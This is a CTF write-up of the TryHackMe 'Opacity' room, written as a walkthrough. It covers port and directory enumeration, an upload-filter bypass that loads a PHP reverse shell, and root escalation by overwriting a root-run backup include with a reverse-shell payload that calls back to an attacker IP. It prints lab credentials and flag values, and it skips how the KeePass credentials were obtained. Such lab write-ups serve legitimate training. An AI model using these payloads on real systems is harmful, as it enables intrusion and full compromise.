Opacity is an easy-level TryHackMe room designed to build foundational penetration testing skills through practical, hands-on exploitation. The goal is to retrieve two flags, local.txt and proof.txt, by fully compromising the system.
Room link: https://tryhackme.com/room/opacity
I kicked things off with a quick version scan using Nmap to identify exposed services on the target host.
nmap -sV <ip>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
The scan confirmed the host was reachable and exposed a small but interesting attack surface:
• SSH running on port 22
• Apache web server exposed on port 80
• SMB services available on ports 139 and 445
With HTTP in play, the browser became the next obvious stop.
Visiting the web service on port 80 landed me on a login page.
Press enter or click to view image in full size
I tested a couple of default credentials just to rule out the obvious, but nothing clicked. Instead of burning cycles there, I shifted focus to directory enumeration to see what else the web server was willing to expose.
~$ dirsearch -u 10.49.167.120Target: http://10.49.167.120/
[22:26:42] Starting:
[22:26:57] 301 - 314B - /cloud -> http://10.49.143.123/cloud/
[22:26:57] 200 - 393B - /cloud/
[22:26:59] 301 - 312B - /css -> http://10.49.143.123/css/
[22:27:05] 200 - 381B - /login.php
[22:27:13] 403 - 278B - /server-status
[22:27:13] 403 - 278B - /server-status/
Task Completed
The scan returned multiple forbidden paths and a handful of valid responses. One directory stood out immediately: /cloud. That was worth a closer look.
~$ dirsearch -u 10.49.167.120/cloudTarget: http://10.49.167.120/
[22:30:31] Starting: cloud/
[22:30:33] 403 - 278B - /cloud/.php
[22:30:51] 301 - 321B - /cloud/images -> http://10.49.143.123/cloud/images/
[22:30:52] 200 - 400B - /cloud/index.php
[22:30:52] 200 - 404B - /cloud/index.php/login/
Task Completed
This second pass revealed additional endpoints, including /cloud/index.php and a nested login path. Navigating to the cloud endpoint in the browser brought up a new interface.
Press enter or click to view image in full size
The page introduced itself as a personal cloud storage service with a time-limited file upload feature, which clearly marked it as a component worth paying close attention to moving forward.
After a bit of trial and error, I noticed the upload feature only allowed .jpg or .png files, but the application still fetched files hosted from my machine, which opened a path to bypass the restriction using a renamed PHP file.
To take advantage of this, I used the Pentest Monkey PHP reverse shell.
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cd php-reverse-shellI edited the reverse shell and updated the IP address and port to match my VPN listener.
nano php-reverse-shell.phpPress enter or click to view image in full size
For convenience, I made a shorter copy of the file.
cp php-reverse-shell.php shell.phpI started a Python HTTP server to host the payload.
python3 -m http.server 8000In another terminal, I set up a Netcat listener.
rlwrap nc -lnvp 8000With everything ready, I uploaded the payload by appending a fake image extension to bypass the filter.
http://<your-ip>:8000/shell.php#.pngPress enter or click to view image in full size
The upload went through successfully.
Press enter or click to view image in full size
The application returned a link to the uploaded file, which I invoked directly.
curl http://10.49.167.120/cloud/images/shell.php#.pngThat immediately triggered a reverse connection.
Press enter or click to view image in full size
At this point, I had an active shell as the www-data user.
Once I had a shell, I shifted focus to identifying valid local users on the system.
• Enumerated users from /etc/passwd to spot interactive accounts
cat /etc/passwd | grep sh• Identified two real users: sysadmin and ubuntu
• Checked the ubuntu home directory and found it empty
• Moved to the sysadmin home directory and confirmed the presence of local.txt
• Verified that the flag existed but was not readable with current permissions
$ ls -lahtotal 44K
-rw------- 1 sysadmin sysadmin 33 Jul 26 2022 local.txt
drwxr-xr-x 3 root root 4.0K Jul 8 2022 scripts
At this point, manual poking didn’t make sense, so I pivoted to local enumeration.
Using the credentials retrieved from the KeePass file, I logged in via SSH as sysadmin.
ssh sysadmin@ip
# pass: Cl0udP4ss40p4city#8700local.txt flag6661b61b44d234d230d06bf5b3c075e2With user access secured, I moved on to reviewing scheduled or automated scripts owned by higher-privileged users.
• Found a PHP script inside the scripts directory
• Noticed it was calling lib/backup.inc.php to back up the scripts folder
• Observed that the backup logic executed with root privileges
cat script.phpPress enter or click to view image in full size
Although the main script wasn’t writable, the included file immediately stood out.
• Checked permissions on the lib directory
• Confirmed backup.inc.php was owned by root
ls -la lib/Despite the ownership, the file could be replaced indirectly.
To prepare for escalation, I first set up a listener on my machine.
nc -lnvp 4444Next, I replaced the backup file with a malicious version.
• Moved the original file out of the way
• Copied it back into place under my control
• Navigated to the target directory
mv backup.inc.php /tmp
cp /tmp/backup.inc.php ~/scripts/lib/backup.inc.php
cd ~/scripts/lib/I then overwrote backup.inc.php with a simple PHP reverse shell payload.
cat << 'EOF' > backup.inc.php
<?php
$sock=fsockopen("192.168.148.220",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
EOFAfter a short wait, the scheduled task executed the modified script.
• Incoming connection received
• Shell spawned with root privileges
With root access confirmed, retrieving the final flag was straightforward.
ac0d56f93202dd57dcb2498c739fd20eOpacity was a solid lab that rewarded careful enumeration and patience rather than brute force. Each stage flowed naturally into the next, from web enumeration to file upload abuse, credential extraction, and finally a clean privilege escalation via a misconfigured backup script. It’s a great reminder that small oversights, when chained together, can lead to full system compromise.
Thanks for reading.
More TryHackMe walkthroughs in the same style are available here: https://github.com/Esther7171/TryHackMe-Walkthroughs/
Press enter or click to view image in full size